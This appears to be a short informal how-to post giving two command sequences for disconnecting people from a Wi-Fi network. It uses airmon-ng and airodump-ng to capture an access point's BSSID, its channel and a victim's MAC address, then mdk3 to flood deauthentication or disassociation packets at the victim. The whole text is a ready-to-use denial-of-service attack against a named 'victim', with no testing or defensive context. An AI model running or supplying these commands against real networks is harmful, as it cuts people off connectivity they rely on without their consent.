here are 2 ways to disconnect people of the wifi (first one will send about 15 packets per second second one will send about 500 packets per second)

airmon-ng start wlan0
airodump-ng mon0 

writ down you wifi access point bssid (ex: 00:00:00:00:00:00)
and the channel (ex: 1)

airodump-ng -c 1 --bssid 0:00:00:0:00:00 mon0

now get the victim mac id (mac id is not pc/mac/linux, it’s an id that every pc have and the format is like the bssid)
writ down the victim mac id (ex: 11:11:11:11:11:11)

echo 11:11:11:11:11:11 >> banned.txt

and attack:

mdk3 mon0 d -b banned.txt

the second way:

mdk3 mon0 x 1 -c 11:11:11:11:11:11 -t 00:00:00:00:00:00